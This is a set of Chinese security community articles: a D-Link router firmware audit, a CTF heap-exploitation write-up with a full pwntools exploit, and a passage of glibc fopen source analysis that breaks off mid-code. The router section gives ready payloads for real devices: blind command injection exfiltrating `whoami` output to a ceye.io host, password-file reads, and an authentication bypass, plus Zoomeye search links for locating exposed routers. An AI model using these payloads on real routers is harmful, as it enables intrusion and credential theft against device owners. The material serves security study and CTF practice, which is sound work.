* FakeDebuggerd.A:[http://blogs.360.cn/360mobile/2014/03/06/fakedebuggerd-android-rootkit/](http://blogs.360.cn/360mobile/2014/03/06/fakedebuggerd-android-rootkit/)
* FakeDebuggerd.B:[http://blogs.360.cn/360mobile/2014/06/18/analysis_of_fakedebuggerd_b/](http://blogs.360.cn/360mobile/2014/06/18/analysis_of_fakedebuggerd_b/)
* FakeDebuggerd.C:[http://blogs.360.cn/360mobile//2014/11/24/analysis_of_fakedebuggerd_c_and_related_trojans/](http://blogs.360.cn/360mobile//2014/11/24/analysis_of_fakedebuggerd_c_and_related_trojans/) | 社区文章 |
作者：Sebao@知道创宇404实验室
#### 前言
前几天去上海参加了geekpwn，看着大神们一个个破解成功各种硬件，我只能在下面喊
6666，特别羡慕那些大神们。所以回来就决定好好研究一下路由器，争取跟上大神们的步伐。看网上公开的D-Link系列的漏洞也不少，那就从D-Link路由器漏洞开始学习。
#### 准备工作
既然要挖路由器漏洞，首先要搞到路由器的固件。 D-Link路由器固件下载地址：
<ftp://ftp2.dlink.com/PRODUCTS/>
下载完固件发现是个压缩包，解压之后里面还是有一个bin文件。听说用binwalk就可以解压。kali-linux自带binwalk，但是缺少一些依赖，所以还是编译安装了一下。
$ sudo apt-get update
$ sudo apt-get install build-essential autoconf git
# https://github.com/devttys0/binwalk/blob/master/INSTALL.md
$ git clone https://github.com/devttys0/binwalk.git
$ cd binwalk
# python2.7安装
$ sudo python setup.py install
# python2.7手动安装依赖库
$ sudo apt-get install python-lzma
$ sudo apt-get install python-crypto
$ sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip
$ sudo pip install pyqtgraph
$ sudo apt-get install python-pip
$ sudo pip install capstone
# Install standard extraction utilities（必选）
$ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools
# Install sasquatch to extract non-standard SquashFS images（必选）
$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
$ git clone https://github.com/devttys0/sasquatch
$ (cd sasquatch && ./build.sh)
# Install jefferson to extract JFFS2 file systems（可选）
$ sudo pip install cstruct
$ git clone https://github.com/sviehb/jefferson
$ (cd jefferson && sudo python setup.py install)
# Install ubi_reader to extract UBIFS file systems（可选）
$ sudo apt-get install liblzo2-dev python-lzo
$ git clone https://github.com/jrspruitt/ubi_reader
$ (cd ubi_reader && sudo python setup.py install)
# Install yaffshiv to extract YAFFS file systems（可选）
$ git clone https://github.com/devttys0/yaffshiv
$ (cd yaffshiv && sudo python setup.py install)
# Install unstuff (closed source) to extract StuffIt archive files（可选）
$ wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv
$ sudo cp bin/unstuff /usr/local/bin/
按照上面的命令就可以完整的安装binwalk了，这样就可以解开市面上的大部分固件包。 然后用 `binwalk -Me 固件包名称`
解固件，然后我们会得到以下划线开头的名称的文件夹，文件夹里`squashfs-root`文件夹，就是路由器的完整固件包。
#### 漏洞挖掘
此文章针对历史路由器的web漏洞进行分析，路由器的web文件夹 一般就在`suashfs-root/www`或者 `suashfs-root/htdocs`文件夹里。路由器固件所使用的语言一般为 asp,php,cgi,lua 等语言。这里主要进行php的代码审计来挖掘漏洞。
##### D-Link DIR-645 & DIR-815 命令执行漏洞
**Zoomeye dork:**
[DIR-815](https://www.zoomeye.org/searchResult?q=%20DIR-815&t=all) or
[DIR-645](https://www.zoomeye.org/searchResult?q=%20DIR-645&t=all)
这里以 D-Link DIR-645固件为例，解开固件进入 `suashfs-root/htdocs` 文件夹。
这个漏洞出现在 `diagnostic.php`文件。直接看代码
HTTP/1.1 200 OK
Content-Type: text/xml
<?
if ($_POST["act"] == "ping")
{
set("/runtime/diagnostic/ping", $_POST["dst"]);
$result = "OK";
}
else if ($_POST["act"] == "pingreport")
{
$result = get("x", "/runtime/diagnostic/ping");
}
echo '<?xml version="1.0"?>\n';
?><diagnostic>
<report><?=$result?></report>
</diagnostic>
分析代码可以看到，这里没有进行权限认证，所以可以直接绕过登录。继续往下看，`set("/runtime/diagnostic/ping",
$_POST["dst"]);` 这段代码就是造成漏洞的关键代码。参数`dst` 没有任何过滤直接进入到了
ping的命令执行里，导致任意命令执行漏洞。继续往下看 `$result =
"OK";`无论是否执行成功，这里都会显示OK。所以这是一个盲注的命令执行。以此构造payload
url = 'localhost/diagnostic.php'
data = "act=ping&dst=%26 ping `whoami`.ceye.io%26"
因为是盲注的命令执行，所以这里需要借助一个盲打平台（如：[ceye](http://ceye.io/)），来验证漏洞是否存在。
##### D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 信息泄露漏洞
**Zoomeye
dork:**[DIR-300](https://www.zoomeye.org/searchResult?q=%20DIR-300&t=all) or
[DIR-600](https://www.zoomeye.org/searchResult?q=%20DIR-600&t=all)
这里以 D-Link DIR-300固件为例，解开固件进入 `suashfs-root/www` 文件夹。
漏洞出现在`/model/__show_info.php`文件。
<?
if($REQUIRE_FILE == "var/etc/httpasswd" || $REQUIRE_FILE == "var/etc/hnapasswd")
{
echo "<title>404 Not Found</title>\n";
echo "<h1>404 Not Found</h1>\n";
}
else
{
if($REQUIRE_FILE!="")
{
require($LOCALE_PATH."/".$REQUIRE_FILE);
}
else
{
echo $m_context;
echo $m_context2;//jana added
if($m_context_next!="")
{
echo $m_context_next;
}
echo "<br><br><br>\n";
if($USE_BUTTON=="1")
{echo "<input type=button name='bt' value='".$m_button_dsc."' onclick='click_bt();'>\n"; }
}
}
?>
这里看到已经禁止了`$REQUIRE_FILE`的参数为`var/etc/httpasswd`和`var/etc/hnapasswd`。这么一看无法获取账号密码。但是我们可以从根路径开始配置`httpasswd`的路径，就可以绕过这个过滤了。
payload：
localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd
这里设置`REQUIRE_FILE=/var/etc/httpasswd` 成功绕过上面的 if判断，进行任意文件读取。
##### D-Link DIR-300 & DIR-320 & DIR-615 权限绕过漏洞
**Zoomeye
dork:**[DIR-300](https://www.zoomeye.org/searchResult?q=%20DIR-300&t=all) or
[DIR-615](https://www.zoomeye.org/searchResult?q=%20DIR-615&t=all)
这里以 D-Link DIR-300固件为例，解开固件进入 `suashfs-root/www` 文件夹
默认情况下，Web界面中的所有页面都需要进行身份验证，但是某些页面（如 登录页面） 必须在认证之前访问。
为了让这些页面不进行认证，他们设置了一个PHP变量NO_NEED_AUTH：
<?
$MY_NAME ="login_fail";
$MY_MSG_FILE=$MY_NAME.".php";
$NO_NEED_AUTH="1";
$NO_SESSION_TIMEOUT="1";
require("/www/model/__html_head.php");
?>
此漏洞触发的原因在于 全局文件 `_html_head.php`。
<?
/* vi: set sw=4 ts=4: */
if ($NO_NEED_AUTH!="1")
{
/* for POP up login. */
// require("/www/auth/__authenticate_p.php");
// if ($AUTH_RESULT=="401") {exit;}
/* for WEB based login */
require("/www/auth/__authenticate_s.php");
if($AUTH_RESULT=="401") {require("/www/login.php"); exit;}
if($AUTH_RESULT=="full") {require("/www/session_full.php"); exit;}
if($AUTH_RESULT=="timeout") {require("/www/session_timeout.php"); exit;}
$AUTH_GROUP=fread("/var/proc/web/session:".$sid."/user/group");
}
require("/www/model/__lang_msg.php");
?>
这里我们看到 `$NO_NEED_AUTH!="1"` 如果 `$NO_NEED_AUTH` 不为 1
则进入身份认证。如果我们把`$NO_NEED_AUTH`值 设置为 1 那就绕过了认证进行任意操作。
payload：
`localhost/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0`
这里`AUTH_GROUP=0` 表示admin权限
##### D-Link DIR-645 信息泄露漏洞
**Zoomeye
dork:**[DIR-645](https://www.zoomeye.org/searchResult?q=%20DIR-645&t=all)
这里以 D-Link DIR-300固件为例，解开固件进入 `suashfs-root/htdocs` 文件夹
D-Link DIR-645 `getcfg.php` 文件由于过滤不严格导致信息泄露漏洞。
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
}
这里我们可以看到 `$GETCFG_SVC` 没有任何过滤直接获取了 POST
传递过来的`SERVICES`的值。如果`$GETCFG_SVC`不为空，则进行文件读取。这里我们就可以读取存储此设备信息的`DEVICE.ACCOUNT.xml.php`文件。
payload：
http://localhost/getcfg.php
post:SERVICES=DEVICE.ACCOUNT
#### 总结
可以发现此篇文章所提及的漏洞都是web领域的常见漏洞，如权限绕过，信息泄露，命令执行等漏洞。由于路由器的安全没有得到足够的重视，此文涉及到的漏洞都是因为对参数过滤不严格所导致的。
路由器的漏洞影响还是很广泛的，在此提醒用户，及时更新路由器固件，以此避免各种入侵事件，以及个人信息的泄露。
#### 参考链接
* <http://www.s3cur1ty.de/m1adv2013-017>
* <http://seclists.org/bugtraq/2013/Dec/11>
* <http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf>
* <https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt>
* * * | 社区文章 |
# 第五届XMan选拔赛 nowaypwn Writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## nowaypwn
### 处理混淆
题目存在混淆，导致 IDA 未能识别出完整的函数
我们这里直接 nop 掉这部分代码后得到的代码，与原来的代码是等价的
但是函数的识别还没有自动变更，我们到函数首部按 U 取消定义，然后再按 P 让 IDA
重新识别函数，伪代码就可以正常显示，类似的地方还有好几处，我们逐个处理即可。
对函数进行重命名、恢复堆块结构体信息，此时的伪代码就相对来说容易阅读一些了。
### 分析验证函数
进入后续堆题的前提是通过题目的验证函数，否则就会一直卡在死循环处。
验证函数主要是一个 xtea
函数对输入的内容进行加密，只需要加密后的数据与题目内置的一致即可。但是在做题初期没有注意到题目中的混淆，导致在这部分验证卡了很久。
实际上这部分代码中，前半部分都是标准的 xtea 加密，但是实际上真正在工作进行加密的是后半部分的魔改 xtea
加密，而且其加密过程与第一部分都没有任何关联，所以这里并不是叠加进行了两次 xtea 加密，而是只进行了后一次循环次数为 17 的 xtea 加密。
def decipher(v, k):
y = c_uint32(v[0])
z = c_uint32(v[1])
delta = 0x14872109
sum = c_uint32(0)
n = 17
for i in range(n):
sum.value += delta
w = [0, 0]
while (n > 0):
z.value -= (((y.value << 4) ^ (y.value >> 5)) + y.value) ^ (sum.value + k[(sum.value >> 11) & 3])
sum.value -= delta
y.value -= (((z.value << 4) ^ (z.value >> 5)) + z.value) ^ (sum.value + k[sum.value & 3])
n -= 1
w[0] = y.value
w[1] = z.value
return w
key = [0x28371234, 0x19283543, 0x19384721, 0x98372612]
v = [0x105d191e, 0x98e870c8]
dec = decipher(v, key)
## 分析堆题部分
先还原结构体方便后续查看伪代码
### 程序函数分析
**沙箱保护**
题目开启了沙箱，防止直接使用 execve 来执行命令，这意味着这道题需要使用 orw 来拿到 flag
**add 功能**
只允许申请 17 个堆块，并且申请堆块的 size 不得大于 0x200，这限制了我们不能使用 largebin 相关的攻击方法，但是只需要把 Tcache
填满，还是可以利用 unsortedbin 的。
**delete 功能**
允许 free 一个堆块，并且在 free 之后将指针置为 0。这里就是正确的释放方法，可以避免 double free 利用。
**show 功能**
允许输出堆块内容中前 8 个字节的数据，但输出的数据进行过加密，不过我们可以直接使用 z3 进行解密，解密的方法可以参照 2021 强网杯 babypwn
这题。
需要注意的问题就是在移位过程中需要注意是逻辑右移还是算数右移，这部分内容可以参照 [津门杯线下 AWD hpad
Writeup](https://www.anquanke.com/post/id/243013) 里面的解密操作
def decode(data):
solver = Solver()
a1 = BitVec('a1', 32)
x = a1
for _ in range(2):
x ^= (32 * x) ^ LShR((x ^ (32 * x)), 17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)), 17)) << 13)
solver.add(x == int(data, 16))
solver.check()
ans = solver.model()
return p32(ans[a1].as_long())
**edit 功能**
利用 edit 功能可以使得堆块外的内容变成 NULL 数据，这里我们只需要构造当前堆块的下一个堆块的 size 内容是 0x111 或者 0x211
就可以造成 off by null。这里就是程序中唯一的漏洞点，我们就是利用这里最后达到控制程序流程的目的。
### 漏洞利用
**1.off by null 构成堆重叠**
这部分的操作其实就是堆题中 off by null 的利用方式的一种变形，而这道题的 show 函数是可以拿到堆上的残留数据的，我们可以借此计算得到
heap_base 和 libc_base，所以不需要堆风水来构造，相对来说要容易得多，具体的内容我这里就不再重复介绍，可以看我之前写的文章[ glibc
2.29-2.32 off by null
bypass](https://www.anquanke.com/post/id/236078)，主要的思路就是覆盖 prev_inuse，然后利用
unsortedbin 的 unlink 的机制来触发堆块重叠。
**2.UAF 劫持 Tcache next 指针**
堆重叠之后，就可以利用 UAF 来修改 tcache next 指针到 __free_hook，在通过两次申请就可以取出 __free_hook
这个堆块。如果是 glibc2.28 及以上版本，需要考虑让 tcache->counts[idx] > 0 才能够取出。
**3.劫持 __free_hook**
取出__free_hook 堆块后再修改为 setcontext + 53，然后在堆块上布局数据，free 那个堆块来触发
SROP。由于版本较低，所以也不需要借助 gadget 来转移 rdi 到 rdx。
**4.优化 exp**
这道题由于没有回显，所以我们不能根据回显的内容来判定程序是否执行完上一个功能。这时候一些函数（如
read）由于并没有读取到相应的字节数，可能会把我们两次不同输入识别成同一次，造成 io
混乱，在远程攻击的时候，由于延迟等情况时有发生，这种问题必须要重视，否则 exp 攻击成功率很低。
**1.使用 sleep**
这种方法是我最早采用的，就是在使用某一个功能之前加一个延迟，使得远程的程序处理完毕后再进行下一个操作。使用这种方法在本地基本上就不会有问题，但是在攻击远程的时候还常常会因为延迟等原因导致攻击失败，所以我并不推荐。
**2.把 read 所有需要的字节写满**
这个方法在有些情况下是可用的，比如需要写入的位置写满都不会影响到后续流程，当可用的时候，使用这种方法是最好的。而且在调试过程中也可以加快速度，避免等待。
比如在这个程序中常用的这个函数
我们只需要在发送数据的时候，将 0x10 长度的数据发送完整（发送的内容和读取的字节数一致）就不会出现 io 混乱的问题，其他地方的操作也是类似。
### EXP
from pwn import *
from z3 import *
elf = None
libc = None
file_name = "./nowaypwn"
# context.timeout = 1
def get_file(dic=""):
context.binary = dic + file_name
return context.binary
def get_libc(dic=""):
libc = None
try:
data = os.popen("ldd {}".format(dic + file_name)).read()
for i in data.split('\n'):
libc_info = i.split("=>")
if len(libc_info) == 2:
if "libc" in libc_info[0]:
libc_path = libc_info[1].split(' (')
if len(libc_path) == 2:
libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
return libc
except:
pass
if context.arch == 'amd64':
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
elif context.arch == 'i386':
try:
libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
except:
libc = ELF("/lib32/libc.so.6", checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
return s.process(file_name)
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process(file_name)
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
def get_gdb(sh, gdbscript=None, addr=0, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript=gdbscript)
elif addr is not None:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
log.success("breakpoint_addr --> " + hex(text_base + addr))
gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
else:
gdb.attach(sh)
if stop:
raw_input()
def Attack(target=None, sh=None, elf=None, libc=None):
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count = 0
pwn(sh, elf, libc)
flag = get_flag(sh)
return flag
def decipher(v, k):
y = c_uint32(v[0])
z = c_uint32(v[1])
delta = 0x14872109
sum = c_uint32(0)
n = 17
for i in range(n):
sum.value += delta
w = [0, 0]
while (n > 0):
z.value -= (((y.value << 4) ^ (y.value >> 5)) + y.value) ^ (sum.value + k[(sum.value >> 11) & 3])
sum.value -= delta
y.value -= (((z.value << 4) ^ (z.value >> 5)) + z.value) ^ (sum.value + k[sum.value & 3])
n -= 1
w[0] = y.value
w[1] = z.value
return w
def sendint(idx):
data = str(idx)
sh.send(data.ljust(0x10, '\x00'))
def choice(idx):
sendint(idx)
def decode(data):
solver = Solver()
a1 = BitVec('a1', 32)
x = a1
for _ in range(2):
x ^= (32 * x) ^ LShR((x ^ (32 * x)), 17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)), 17)) << 13)
solver.add(x == int(data, 16))
solver.check()
ans = solver.model()
return p32(ans[a1].as_long())
def add(size):
choice(4)
sendint(size)
def edit(idx, content):
choice(1)
sendint(idx)
sh.send(str(content))
def show(idx):
choice(2)
sendint(idx)
v1 = decode(sh.recvuntil('\n', drop=True))
v2 = decode(sh.recvuntil('\n', drop=True))
v1 += v2
log.hexdump(v1)
return v1
def delete(idx):
choice(3)
sendint(idx)
def pwn(sh, elf, libc):
context.log_level = "debug"
key = [0x28371234, 0x19283543, 0x19384721, 0x98372612]
v = [0x105d191e, 0x98e870c8]
dec = decipher(v, key)
sh.sendafter('name:', 'a' * 0x10)
sh.sendafter('key:', 'b' * 0x20)
sh.sendafter('secret!:', p32(dec[0]) + p32(dec[1]) + 'c' * 0x10)
for i in range(10):
add(0x108)
for i in range(9):
delete(8 - i)
for i in range(9):
add(0x108)
sh.recvuntil('\n')
data = show(1)
heap_base = u64(data) - 0x10f0
log.success("heap_base:\t" + hex(heap_base))
data = show(7)
malloc_hook_addr = u64(data) - 624 - 0x10
log.success("malloc_hook_addr:\t" + hex(malloc_hook_addr))
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
log.success("libc_base:\t" + hex(libc_base))
# 7 8 0 1 2 3 4 5 6 9
edit(7, 'a' * 0x100 + p64(0x110))
edit(0, 'a' * 0xF0 + p64(0) + p64(0x121) + p64(0))
edit(8, 'a' * 0x108)
heap8_addr = heap_base + 0xdc0
target = heap8_addr + 0x10
FD = target - 0x18
BK = target - 0x10
edit(8, p64(FD) + p64(BK) + p64(heap8_addr - 0x10) + 'a' * (0x100 - 0x18) + p64(0x110))
for i in range(6):
delete(i + 1)
delete(9)
delete(7)
for i in range(7):
add(0x108) # 1 2 3 4 5 6 7
add(0x108) # 9
add(0x108) # 10
delete(1)
delete(8)
free_hook_addr = libc_base + libc.sym['__free_hook']
setcontext_addr = libc_base + libc.sym['setcontext'] + 53
edit(10, p64(free_hook_addr) + '\x00' * 0x100)
add(0x108) # 1
add(0x108) # 8 #get free_hook
add(0x200) # 11
pop_rdi_addr = libc_base + 0x2155f
pop_rsi_addr = libc_base + 0x23e6a
pop_rdx_addr = libc_base + 0x1b96
pop_rax_addr = libc_base + 0x439c8
syscall_addr = libc_base + 0xd2975
# SROP
fake_frame_addr = heap_base + 0x1750
frame = SigreturnFrame()
frame.rdi = fake_frame_addr + 0xF8 + 0x10
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x20 + 0x8
frame.rip = pop_rdi_addr + 1 # : ret
rop_data = [
pop_rax_addr, # sys_open('flag', 0)
2,
syscall_addr,
pop_rax_addr, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr,
pop_rax_addr, # sys_write(1, heap, 0x100)
1,
pop_rdi_addr,
1,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr
]
payload = str(frame).ljust(0xF8, '\x00') + '\x00' * 0x10 + 'flag.txt' + '\x00' * 0x8 + '\x00' * 0x8 + flat(rop_data)
edit(11, payload.ljust(0x200, '\x00'))
edit(8, p64(setcontext_addr) + '\x00' * 0x100)
# gdb.attach(sh, "b free")
delete(11)
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
sh.close()
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
## 总结
这道题的主要内容和 2021 强网杯 babypwn 那题一模一样，包括沙箱限制、堆块申请限制、利用方式、libc 文件都一样，就是原题套了个验证函数。
但是这道题我认为还有一些地方可以改善的
**1.提供 libc 文件**
虽然出题人的本意就是不提供 libc 文件，并且这题可以根据无 double free 报错和存在 tcache 大概可以猜测到是 glibc2.27
1.4 之前的版本，但是我还是建议堆题都要提供 libc 文件。我个人认为，任何堆题（除非为了考察 ret2_dlresolve）不给出 libc
文件就是耍流氓，是在浪费做题人的时间，针对于不同版本的 glibc 来针对性的写 exp 这都是基本操作，不给 libc
让程序中不确定因素过多（尤其是堆题）。
**2.提供 flag 文件名**
开了沙箱之后这道题注定是需要用像 orw 这样方法来拿到 flag 文件的，但是这道题却没有提供 flag
文件名，虽然这也是比赛中常见的情况，一般都是猜测名称为 flag 或 flag.txt，但是我认为如果在题目描述中告知 flag
文件名会更方便做题和复现，何况这道题还没有提供 libc。不过，这道题由于只禁用了 execve，其实还可以考察 sys_getdents
这样的探测路径的方法，并且把 flag 的文件名改的复杂一些。
**3.增加 PWN 方向的难度**
就这道题而言，是由强网杯那题改写的，那应该在原题上有所提升。我认为应该思考如何在原题的基础上加强难度和利用限制。这样增加一个验证函数和混淆代码可以考察做题人的
RE 能力，但同时不应该偏离 PWN 这个题目分类，也应当增加的是 PWN 漏洞利用的难度，以这道题的限制条件而言，完全可以把 glibc 换成 2.31
或者 2.32 这样的高版本，来考察做题人对新版本的检测和保护的绕过方法。
## 反思
虽然我在比赛结束前一个多小时就已经在本地打通，但是直到比赛结束都没有拿到 flag。在最后一个小时内我对各个版本的 libc 进行替换测试，并且逐一测试
flag 文件名（flag / flag.txt），但最后还是因为 exp 写法不够完美导致程序 io 混乱，使得当我的 libc
版本和远程已经一致的情况下，远程仍然没有打通。以后在比赛过程中应当注意时刻测试 libc 版本和注意延迟问题，当 exp
编写完成后，再回头来调整绕过手法就会浪费大量的时间。 | 社区文章 |
# IO FILE之fopen详解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近打算详细整理下`IO FILE`相关的笔记，不少地方都是知道个大概，因此这次打算从源码出发，把IO FILE相关的东西都过一遍。
思路大致是`fopen`、`fwrite`以及`fread`之类的IO函数的源码分析，再到libc2.24对vtable检查之前的利用方式，再到vtable检查的分析以及相应的对抗方式。
第一篇fopen详解，主要是基于源码的分析，源码的动态调试建议大家使用带调试符号的glibc，再次给大家推荐[
**pwn_debug**](https://github.com/ray-cp/pwn_debug)，可以很方便的安装带调试符号的glibc，使用debug模式即可。
## 源码分析
首先编写一个简单的调用fopen函数的c程序。
#include<stdio.h>
int main(){
FILE*fp=fopen("test","wb");
char *ptr=malloc(0x20);
return 0;
}
编译出来之后使用pwn_debug的debug模式开启程序，或者指定带调试符号的glibc，我这里使用的glibc版本是2.23。接下来开始分析。
gdb跟进去fopen函数，可以看到fopen实际上是
`_IO_new_fopen`函数，该函数在`/libio/iofopen.c`文件中，可以看到它调用的是`__fopen_internal`：
_IO_FILE *
_IO_new_fopen (const char *filename, const char *mode)
{
return __fopen_internal (filename, mode, 1);
}
跟进去`__fopen_internal`中，关键源码如下：
_IO_FILE *
__fopen_internal (const char *filename, const char *mode, int is32)
{
struct locked_FILE
{
struct _IO_FILE_plus fp;
#ifdef _IO_MTSAFE_IO
_IO_lock_t lock;
#endif
struct _IO_wide_data wd;
} *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE)); ## step 1 分配内存
...
_IO_no_init (&new_f->fp.file, 0, 0, &new_f->wd, &_IO_wfile_jumps); ## step 2 null初始化结构体数据
...
_IO_JUMPS (&new_f->fp) = &_IO_file_jumps; ## 设置vtable为_IO_file_jumps
_IO_file_init (&new_f->fp); ## step 3 将file结构体链接进去_IO_list_all
...
# step 4 打开文件
if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL)
return __fopen_maybe_mmap (&new_f->fp.file);
}
整个`__fopen_internal`函数包含四个部分：
1. `malloc`分配内存空间。
2. `_IO_no_init` 对file结构体进行`null`初始化。
3. `_IO_file_init`将结构体链接进`_IO_list_all`链表。
4. `_IO_file_fopen`执行系统调用打开文件。
下面详细分析跟进去每个子函数进行分析。
### malloc分配内存空间
可以看到首先调用`malloc`函数分配了一个`struct
locked_FILE`大小的结构体，这个结构体比函数刚开始的地方定义，在64位系统中为0x230，该结构体包含三个`_IO_FILE_plus`、`_IO_lock_t`、`_IO_wide_data`，其中`_IO_FILE_plus`为使用的`IO
FILE`的结构体。执行完`malloc`后内存状态如下：
### _IO_no_init 对file结构体进行null初始化
在分配完空间后，接着就调用`_IO_no_init`函数去null初始化结构体，跟进去该函数，函数在`/libio/genops.c`中：
void
_IO_old_init (_IO_FILE *fp, int flags)
{
fp->_flags = _IO_MAGIC|flags;
fp->_flags2 = 0;
fp->_IO_buf_base = NULL;
fp->_IO_buf_end = NULL;
fp->_IO_read_base = NULL;
fp->_IO_read_ptr = NULL;
fp->_IO_read_end = NULL;
fp->_IO_write_base = NULL;
fp->_IO_write_ptr = NULL;
fp->_IO_write_end = NULL;
fp->_chain = NULL; /* Not necessary. */
fp->_IO_save_base = NULL;
fp->_IO_backup_base = NULL;
fp->_IO_save_end = NULL;
fp->_markers = NULL;
fp->_cur_column = 0;
...
fp->_vtable_offset = 0;
...
}
void
_IO_no_init (_IO_FILE *fp, int flags, int orientation,
struct _IO_wide_data *wd, const struct _IO_jump_t *jmp)
{
_IO_old_init (fp, flags);
fp->_mode = orientation;
...
## 初始化fp的_wide_data字段
fp->_wide_data = wd;
fp->_wide_data->_IO_buf_base = NULL;
fp->_wide_data->_IO_buf_end = NULL;
fp->_wide_data->_IO_read_base = NULL;
fp->_wide_data->_IO_read_ptr = NULL;
fp->_wide_data->_IO_read_end = NULL;
fp->_wide_data->_IO_write_base = NULL;
fp->_wide_data->_IO_write_ptr = NULL;
fp->_wide_data->_IO_write_end = NULL;
fp->_wide_data->_IO_save_base = NULL;
fp->_wide_data->_IO_backup_base = NULL;
fp->_wide_data->_IO_save_end = NULL;
fp->_wide_data->_wide_vtable = jmp;
...
fp->_freeres_list = NULL;
}
可以看到函数最主要的功能是初始化`locked_FILE`里面的`_IO_FILE_plus`结构体，基本上将所有的值都初始化为null以及默认值，同时将`_wide_data`字段赋值并初始化。初始化结束后，FILE结构体如下：
### _IO_file_init将结构体链接进_IO_list_all
在执行完`_IO_no_init`函数后，回到`__fopen_internal`函数，函数将`_IO_FILE_plus`结构体的vtable设置成了`_IO_file_jumps`，然后调用`_IO_file_init`将`_IO_FILE_plus`结构体链接进入`_IO_list_all`链表，跟进去函数，函数在`/libio/fileops.c`中：
void
_IO_new_file_init (struct _IO_FILE_plus *fp)
{
fp->file._offset = _IO_pos_BAD;
fp->file._IO_file_flags |= CLOSED_FILEBUF_FLAGS;
## 调用_IO_link_in和设置_fileno
_IO_link_in (fp);
fp->file._fileno = -1;
}
libc_hidden_ver (_IO_new_file_init, _IO_file_init)
看到这个函数的主体就是调用了`_IO_link_in`函数，跟进去，函数在`/libio/genops.c`中：
void
_IO_link_in (struct _IO_FILE_plus *fp)
{
## 检查flag的标志位是否是_IO_LINKED
if ((fp->file._flags & _IO_LINKED) == 0)
{
## 设置_IO_LINKED标志位
fp->file._flags |= _IO_LINKED;
...
fp->file._chain = (_IO_FILE *) _IO_list_all;
_IO_list_all = fp;
++_IO_list_all_stamp;
...
}
}
libc_hidden_def (_IO_link_in)
之前一直都知道FILE结构体是通过`_IO_list_all`的单链表进行管理的，这里`_IO_link_in`函数的功能是检查FILE结构体是否包含`_IO_LINKED`标志，如果不包含则表示这个结构体没有链接进入`_IO_list_all`，则再后面把它链接进入`_IO_list_all`链表，同时设置FILE结构体的`_chain`字段为之前的链表的值，否则直接返回。
所以`_IO_file_init`主要功能是将FILE结构体链接进入`_IO_list_all`链表，在没执行`_IO_file_init`函数前`_IO_list_all`指向的是`stderr`结构体：
执行完后可以看到`_IO_list_all`指向的是申请出来的结构体：
同时此时FILE结构体的`_chain`字段指向了之前的`stderr`结构体：
### _IO_file_fopen打开文件句柄
将FILE结构体链接到`_IO_list_all`链表后，程序返回到`__fopen_internal`中，接下来就调用`_IO_new_file_fopen`函数，跟进去该函数，函数在`libio/fileops.c`文件中：
_IO_FILE *
_IO_new_file_fopen (_IO_FILE *fp, const char *filename, const char *mode,
int is32not64)
{
...
## 检查文件是否以打开，打开则返回
